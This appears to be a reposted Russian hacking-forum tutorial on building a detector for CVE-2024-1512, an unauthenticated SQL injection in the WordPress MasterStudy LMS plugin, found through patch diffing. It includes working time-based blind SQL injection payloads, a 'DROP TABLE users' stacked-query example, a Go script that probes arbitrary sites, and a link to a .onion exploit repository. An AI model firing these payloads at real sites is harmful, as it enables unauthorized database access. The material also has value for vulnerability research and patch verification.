logo

Дневник белой шляпы: Пишем приват эксплоит CVE-2024-1512

Я отсутствовал около месяца, в течение которого работал исследователем для двух клиентов. Понимая, что это краткосрочное сотрудничество, я решил работать на полную и считаю, что это было оправданно . Моя работа в основном заключалась в разработке эксплойтов для одного клиента и исследовании приватных нулевых дней для другого. Для веб-пентестера переход в роль исследователя является вершиной карьеры. Лучше быть младшим исследователем, чем старшим пентестером (имхо). Эта статья посвящена основам разработки эксплойтов для уязвимостей, не имеющих публичных эксплойтов, с опорой исключительно на анализ различий в патчах (спасибо клиенту за обучение).

Содержание​

  • Выбор цели
  • Установка
  • Уязвимость
  • REST в WordPress
  • Так где же ты?
  • Разработка Эксплоита (Детектор)

Выбор цели​

Обычно я начинаю с уже доступных CVE или выбираю цели на основе их широкого использования. Как видно из моих предыдущих статей, я стараюсь избегать тем, связанных с SQL-инъекцией. На этот раз, однако, я искал цель, где мог бы использовать логирование баз данных для обнаружения SQL-инъекций. Сегодняшний анализ сосредоточен на плагине "WordPress LMS Plugin MasterStudy", который был загружен более 900 000 раз (https://wordpress.org/plugins/masterstudy-lms-learning-management-system/).

Установка​

NIST часто предоставляет минимальные описания, но в этом случае описание удивительно детализировано. https://nvd.nist.gov/vuln/detail/CVE-2024-1512

The MasterStudy LMS WordPress Plugin – for Online Courses and Education plugin for WordPress is vulnerable to union based SQL Injection via the ‘user’ parameter of the /lms/stm-lms/order/items REST route in all versions up to, and including, 3.2.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Для эксплуатации этой уязвимости необходимо загрузить версию 3.2.5 плагина, доступную по адресу https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.3.2.5.zip, и затем распаковать ее.

После установки плагина следующим шагом является его активация.

Уязвимость​

Представим, что мы знаем только о наличии SQL-инъекции от NIST, без дополнительных деталей. Нам нужно было бы самостоятельно определить то где находится уязвимость, задача, которая одновременно увлекательна и выполнима. Исходной точкой является изучение внесенных в код изменений.

Уязвимый код

(https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=2795646#L1).

Исправленный код (https://plugins.trac.wordpress.org/...asses/models/StmStatistics.php?rev=3036794#L1).

Между двумя версиями существует множество различий, но наш фокус направлен исключительно на уязвимость SQL-инъекции. С моих первых дней изучения CVE, связанных с SQL-инъекциями, повторяющейся темой была "прямая передача ввода" / "directly passing input", что подразумевает отсутствие санитизации. Хотя я не программист и не обладаю формальным образованием в области языков программирования, вот что я вижу, когда смотрю на этот код:

function set_order_items_total_pricefunction woocommerce_order_items...

Я хочу проверить только функции, содержащие SQL-запросы. Я мог бы сразу перейти к функциям, принимающим пользовательский ввод, но было бы лучше понять, что делает каждая функция.

set_order_items_total_price

Эта функция извлекает заказы и связанные с ними элементы из базы данных, рассчитывает общую цену каждого заказа, суммируя цены отдельных элементов, и обновляет элементы заказа в базе данных. После обработки всех элементов в заказе она обновляет общую цену заказа в базе данных WordPress.

woocommerce_order_items

Эта функция извлекает заказы и связанные с ними элементы из базы данных. Для каждого заказа она перебирает элементы, извлекает цену каждого элемента из его метаданных и обновляет элементы заказа в базе данных.

create_table_order_items

Как следует из названия, эта функция создает таблицу stm_lms_order_items, выполняя SQL-запрос, показанный в коде. Она завершается использованием метода maybe_create_table (https://developer.wordpress.org/reference/functions/maybe_create_table/).

get_user_orders

Эта функция принимает параметры, такие как $offset, $limit и $params. Из других частей кода мы узнаем, что $offset и $limit предопределены:

367            $offset = 0;368            $limit = 10;

Что такое смещение и лимит?

Смещение: количество строк, которые следует пропустить перед началом возврата строк в наборе результатов.

Лимит: максимальное количество строк для возврата в наборе результатов, ограничивающее запрос определенным количеством строк.

Пример в MySQL:

Теперь, что насчет "$params"?

Массив - это базовая структура данных в программировании, которая хранит коллекцию элементов.

$dvij = array("Красивый", "с", "бородой");echo $dvij[0]; // Результат "Красивый"echo $dvij[2]; // Результат "бородой"

В нашем контексте массив $params позволяет настраивать запрос, включая различные критерии фильтрации, такие как id, created_date_from, created_date_to, total_price, status, user, post_author, orderby и order. Например, если мы хотим получить заказы пользователя для определенного идентификатора пользователя, мы установим параметр ‘user’ в массиве $params на нужный идентификатор пользователя. Параметры облегчают адаптацию запроса к конкретным потребностям.

Параметры, которые кажутся уязвимыми, включают id, total_price, status и user. Параметры $params[’created_date_from’] и $params[’created_date_to’] фильтруют заказы по диапазону дат создания, используя функции strtotime() и gmdate() для безопасного преобразования дат. Параметр orderby, хотя и не контролируется пользователем, санитизируется с использованием функции esc_sql(). Параметр post_author очищается с помощью (int). Например:

<?php$params = array(’post_author’ => ‘105 OR 1=1’);echo "Chistka author: ",(int)$params[’post_author’];?>// Результат: Chistka author: 105

get_user_order_items

Эта функция принимает те же параметры, что и предыдущая. Параметры, которые кажутся уязвимыми: id, total_price, status, user, и course_id. Параметр author_id очищается с помощью (int).

get_course_statisticas

Эта функция принимает параметры, такие как $date_start, $date_end, $user_id и $course_id, для извлечения данных, связанных с курсом, путем объединения нескольких таблиц и применения условий. Я не вижу никакой санитизации. Думаю, что эта функция доступна только для пользователей PRO. Хотя маловероятно, что уязвимость находится здесь, это стоит учитывать.

get_course_sales_statisticas

Аналогично предыдущей функции, она принимает параметры $user_id и $course_id. Ситуация остается неизменной.

Теперь давайте составим диаграмму с функциями и возможно уязвимыми параметрами:

REST в WordPress​

REST означает Representational State Transfer, это стандартная веб-архитектура, которая использует HTTP-запросы для общения между клиентами и серверами. WordPress REST API позволяет разработчикам программно получать доступ к данным сайта WordPress, управлять ими и взаимодействовать с ними. Это включает в себя записи, страницы, медиа и многое другое, используя объекты JSON, что упрощает интеграцию с другими приложениями и сервисами.

Конечные точки (endpoint) REST в WordPress - это специфические URL, которые REST API предоставляет для взаимодействия с различными типами контента WordPress. Каждая конечная точка соответствует определенному типу ресурса, такому как записи, страницы, пользователи или пользовательские типы контента, и определяет методы (GET, POST, PUT, DELETE), которые можно использовать для взаимодействия с этим ресурсом. Конечные точки REST API можно найти, обратившись к корню API, который обычно находится по пути /wp-json/. Оттуда API предоставляет самодокументируемое руководство по доступным конечным точкам и их использованию.

Вопросы, которые я задавал себе на этом этапе, были следующие:

Как найти rest route?

Какие аргументы мне нужно использовать после того, как я rest route?

Чтобы найти остальные роуты, я решил открыть - http://localhost/index.php/wp-json. Для этого плагина насчитывается не менее 50 роутов, что довольно много. Я решил проверить тот, который имеет название функции get_user_order_items, это /lms/stm-lms/order/items. Странно, но я не вижу никаких аргументов, хотя сама функция их имеет. Угадывание в данном случае не является опцией, потому что я провожу анализ белого ящика.

Другой способ, помимо проверки директории wp-json, - это поиск PHP-файлов с функцией "register_rest_route". register_rest_route() - это функция в WordPress, используемая для создания пользовательских конечных точек REST API.

grep -rnw /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system -e "^.register_rest_route" --color

Я открыл /var/www/html/wp-content/plugins/masterstudy-lms-learning-management-system/_core/lms/route.php

<?php/** * STM LMS Order Statistics */add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms/order/items’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function () {                    return \stmLms\Classes\Models\StmStatistics::get_user_orders_api();                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-user/search’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function () {                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended                    if ( isset( $_GET[’search’] ) ) {                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended                        return \stmLms\Classes\Models\StmUser::search( $_GET[’search’] );                    }                    return array();                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-user/course-list’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function () {                    // phpcs:ignore WordPress.Security.NonceVerification.Recommended                    if ( isset( $_GET[’author_id’] ) ) {                        // phpcs:ignore WordPress.Security.NonceVerification.Recommended                        $user        = new \stmLms\Classes\Models\StmUser( $_GET[’author_id’] );                        $course_list = array();                        $courses     = $user->get_courses();                        foreach ( $courses as $course ) {                            $course_list[] = array(                                ‘id’    => $course->ID,                                ‘title’ => $course->post_title,                            );                        }                        return $course_list;                    }                    return array();                },            )        );    });/** * stm lms payout */add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-pauout/settings’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘POST’,                ‘callback’            => function () {                    return \stmLms\Classes\Models\StmLmsPayout::settings_payment_method();                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-pauout/payment/set_default’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘POST’,                ‘callback’            => function () {                    return \stmLms\Classes\Models\StmLmsPayout::payment_set_default();                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-pauout/pay-now’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function () {                    return \stmLms\Classes\Models\StmLmsPayout::pay_now();                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-pauout/pay-now/(?P<id>\d+)’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function ( $request ) {                    return \stmLms\Classes\Models\StmLmsPayout::pay_now_by_payout_id( intval( $request->get_param( ‘id’ ) ) );                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-pauout/payed/(?P<id>\d+)’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘GET’,                ‘callback’            => function ( $request ) {                    return \stmLms\Classes\Models\StmLmsPayout::payed( intval( $request->get_param( ‘id’ ) ) );                },            )        );    });add_action(    ‘rest_api_init’,    function () {        register_rest_route(            ‘lms’,            ‘/stm-lms-payout/paypal-email’,            array(                ‘permission_callback’ => ‘__return_true’,                ‘methods’             => ‘POST’,                ‘callback’            => function () {                    return \stmLms\Classes\Models\StmUser::save_paypal_email();                },            )        );    });

В файле много функций, мне нужно проверить только функции, которые находятся в файле StmStatistics.php, потому что изменения были сделаны только в этом файле.

Ни одна из перечисленных мной функций на самом деле не находится в rest маршруте. Но есть функция get_user_orders_api, которая находится в StmStatistics.php.

365        public static function get_user_orders_api()366        {367            $offset = 0;368            $limit = 10;369370            if (isset($_GET[’offset’]) AND !empty($_GET[’offset’]))371                $offset = intval($_GET[’offset’]);372373            if (isset($_GET[’limit’]) AND !empty($_GET[’limit’]))374                $limit = intval($_GET[’limit’]);375376            $params = $_GET;377378            $params[’completed’] = true;379380            if ($params[’author_id’])381                return self::get_user_order_items($offset, $limit, $params);382        }

Так где же ты?​

Функция get_user_orders_api использует функцию get_user_order_items, которая принимает $params, которые могут быть введены пользователем. Чтобы мы могли использовать функцию get_user_order_items, мы должны использовать параметр author_id. Но, как мы знаем, параметр author_id сам очищен с использованием int. Так что уязвимость, вероятно, кроется в параметрах id, total_price, status, user или course_id.

То, что мы знаем на данный момент, это то, что наш rest маршрут - /lms/stm-lms/order/items, и теперь мы знаем доступные параметры. Таким образом, полный URL будет http://localhost/?rest_route=/lms/stm-lms/order/items. Прежде чем продолжить, я включу логирование базы данных. Чтобы это сделать:

sudo nano /etc/mysql/my.cnftouch /var/log/mysql/mysql.logchown mysql:mysql /var/log/mysql/mysql.log# Добавьте эту строку[mysqld]general_log_file = /var/log/mysql/mysql.loggeneral_log = 1#Перезагрузите mysqlservice mysql restart

Теперь мы можем проверить запросы, сделанные к базе данных.

sudo tail -f /var/log/mysql/mysql.log

Я знаю, что мне нужно использовать author_id, чтобы функция get_user_order_items была использована, которая имеет другие параметры, такие как user. Я решил отправить запрос со всеми параметрами http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&id=222&total_price=333&status=444&user=555&course_id=666

Лог MySQL:

96 Connect  wordpress_user@localhost on  using Socket                    96 Query    SET NAMES utf8mb4                    96 Query    SET NAMES ‘utf8mb4’ COLLATE ‘utf8mb4_unicode_520_ci’                    96 Query    SELECT @@SESSION.sql_mode                    96 Query    SET SESSION sql_mode=’ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION’                    96 Init DB  wordpress_db                    96 Query    SELECT option_name, option_value FROM wp_options WHERE autoload = ‘yes’                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘stm_lms_addons’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘WPLANG’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘stm_lms_paypal_settings’ LIMIT 1                    96 Query    SELECT * FROM wp_users WHERE user_login = ‘admin’ LIMIT 1                    96 Query    SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id IN (1) ORDER BY umeta_id ASC                    96 Query    SELECT * FROM wp_posts WHERE ID = 7 LIMIT 1                    96 Query    SELECT  t.term_id                        FROM wp_terms AS t  INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id                        WHERE tt.taxonomy IN (’wp_theme’) AND t.name IN (’twentytwentyfour’)                        LIMIT 1                    96 Query    SELECT   wp_posts.*                        FROM wp_posts                        WHERE 1=1  AND (  0 = 1) AND wp_posts.post_type = ‘wp_template_part’ AND ((wp_posts.post_status = ‘publish’))                        GROUP BY wp_posts.ID                        ORDER BY wp_posts.post_date DESC                    96 Query    SELECT   wp_posts.*                        FROM wp_posts                        WHERE 1=1  AND wp_posts.post_type = ‘page’ AND ((wp_posts.post_status = ‘publish’))                        ORDER BY wp_posts.post_date DESC                    96 Query    SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (6,7,8,9,2) ORDER BY meta_id ASC                    96 Query    SELECT   wp_posts.ID                                        FROM wp_posts  INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )                                        WHERE 1=1  AND (  ( wp_postmeta.meta_key = ‘elementor_courses_page’ AND wp_postmeta.meta_value = ‘yes’ )) AND wp_posts.post_type = ‘page’ AND ((wp_posts.post_status = ‘publish’))                                        GROUP BY wp_posts.ID                                        ORDER BY wp_posts.post_title ASC                                        LIMIT 0, 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_chat_1_chat’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_chat_1_chat’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘theme_switched’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_transient’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_transient’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_config_transient’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_config_transient’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_timeout_stm_lms_routes_pages_routes_transient’ LIMIT 1                    96 Query    SELECT option_value FROM wp_options WHERE option_name = ‘_transient_stm_lms_routes_pages_routes_transient’ LIMIT 1                    96 Query    SELECT  COUNT(DISTINCT lms_order_items.id) as count  FROM `wp_stm_lms_order_items`  as lms_order_items   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND  meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’)   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’)  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND                                (                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR                                        ( _order.post_status = "444" )                                )                          AND                                (                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))                                )                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )    ORDER BY lms_order_items.ID  DESC                    96 Query    SELECT  SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price  FROM `wp_stm_lms_order_items`  as lms_order_items   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND  meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’)   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’)  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND                                (                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR                                        ( _order.post_status = "444" )                                )                          AND                                (                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))                                )                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )    ORDER BY lms_order_items.ID  DESC                    96 Query    SELECT  lms_order_items.*, course.post_title as name, _order.`post_date` as date_created  FROM `wp_stm_lms_order_items`  as lms_order_items   left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )                                                   left join `wp_posts` as course on  (course.ID = lms_order_items.`object_id`)   left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = ‘stm-orders’ AND  meta_status.`meta_key` = ‘status’ AND meta_status.`meta_value` = ‘completed’)   left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = ‘wc-completed’)   left join wp_postmeta as meta on (meta.post_id = _order.ID)  WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND  ( meta.meta_key = "_order_total" AND meta.meta_value = "333" )   AND                                (                                        ( meta.meta_key = "status" AND meta.meta_value = "444" ) OR                                        ( _order.post_status = "444" )                                )                          AND                                (                                        (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR                                        (meta.meta_key = "_customer_user" AND meta.meta_value in (555))                                )                          AND course.ID = "666" AND course.`post_author` = "111" AND  (  meta_status.post_id = _order.ID OR order_status.ID = _order.ID )  GROUP BY lms_order_items.id   ORDER BY lms_order_items.ID  DESC  LIMIT 10                    96 Quit

Большинство запросов находятся внутри двойных кавычек, за исключением (meta.meta_key = "user_id" AND meta.meta_value in (555)) OR(meta.meta_key = "_customer_user" AND meta.meta_value in (555)) - что относится к параметру пользователя. Параметры, отличные от "user", экранируют (escape) кавычки при передаче в базу данных, но это не будет иметь значения для параметра "user", так как он не находится в кавычках, и нам не нужно экранировать. Например, если я поставлю 222" как id, чтобы выйти из кавычек в sql запросе, то в базу запрос пойдёт такой _order.ID = "222\\\"", а user и так не внутри кавычек, так что такой проблемы с этим параметром нет.

Разработка Эксплоита (Детектор)​

Часть запроса, которую мы можем изменить, это 555:

(  (meta.meta_key = "user_id" AND meta.meta_value IN (555)) OR  (meta.meta_key = "_customer_user" AND meta.meta_value IN (555)))

Что такое Стек Запрос?

Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ’ OR 1=1; DROP TABLE users; --.

SELECT * FROM users WHERE username = ‘xss’ AND password = ‘pass’;

SELECT * FROM users WHERE username = ‘’ OR 1=1; DROP TABLE users; --’ AND password = ‘pass’;

Что если я использую стековый запрос в нашем случае?

(meta.meta_key = "user_id" AND meta.meta_value IN (;SELECT sleep(5);-- -))

Я открыл URL: http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&user=;SELECT sleep(5);-- -

Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.

Что насчет SQLMap?

SQLMap нашел слепую SQL-инъекцию:

Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA

  • SELECT sleep(5): Это подзапрос, который вызывает функцию sleep(5), заставляя базу данных приостановить работу на 5 секунд.
  • AA: Это псевдоним для подзапроса. В SQL можно дать подзапросу псевдоним, добавив идентификатор после скобок подзапроса. Запрос не будет работать без него, потому что синтаксис SQL требует, чтобы подзапросы в предложении FROM имели псевдонимы, чтобы на них можно было ссылаться в других местах запроса.
  • SELECT 1: Эта часть подзапроса используется для возврата постоянного значения 1. В нашем контексте конкретное возвращаемое значение не важно. Главное, чтобы подзапрос (включая часть sleep(5)) выполнялся. SELECT 1 - это просто простая операция, чтобы обеспечить подзапросу допустимую форму SQL (чтобы синтакс был правильным).

Я написал простой эксплоит, который отправляет полезную нагрузку и проверяет, уязвим ли сайт. Если ответ ожидается более 5 секунд, то сайт, вероятно, уязвим, в противном случае - нет.

package mainimport (    "crypto/tls"    "fmt"    "net/http"    "net/url"    "os"    "time")func main() {    if len(os.Args) < 2 {        fmt.Println("Usage: go run main.go http://example.com")        os.Exit(1)    }    baseURL := os.Args[1]    query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="    query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"    encodedQuery := url.QueryEscape(query2)    fullURL := baseURL + query1 + encodedQuery    fmt.Println(fullURL)    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}    client := &http.Client{        Timeout: 100 * time.Second,    }    startTime := time.Now()    resp, err := client.Get(fullURL)    if err != nil {        fmt.Printf("Error making request: %v\n", err)        os.Exit(1)    }    defer resp.Body.Close()    responseTime := time.Since(startTime)    if responseTime >= 5*time.Second {        fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)    } else {        fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)    }}

Эксплоит тут:

http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/git/cve/CVE/src/branch/main/CVE-2024-1512

Автор grozdniyandy​

Источник https://xss.is/​



Березин Андрей и его «Евроинвест»: путь от миллиардера до преступника
Беглый хозяин Евроинвеста Березин продолжает отмывать миллиарды в России
Беглый олигарх Березин засуетился в ожидании миллиардов из бюджета
СЕМЬЯ ЛЁГКОГО ПОВЕДЕНИЯ
Grishaeva’s "Dribbling", or where to look for Zhirinovsky’s "stash"?
Мойщица грязных денег Жириновского Гришаева Надежда Сергеевна «переплелась» с Леонидом Слуцким
Мойщица грязных денег Жириновского Гришаева Надежда Сергеевна «переплелась» с Леонидом Слуцким
Grishaeva’s "Dribbling", or where to look for Zhirinovsky’s "stash"?
Журналист Караулов* сообщил, что в Испании, Германии, Франции и США ищут деньги Жириновского: в поле зрения Галина Лебедева и Надежда Гришаева

На нашем сайте вы всегда можете найти ежедневно обновляемые актуальные новости со всех регионов странны, без субъектива и политической ангажированности. Среди основных рубрик нашего сайта, которым мы отдаём предпочтение стоит выделить новости экономики, новости политики, новости строительства и недвижимости.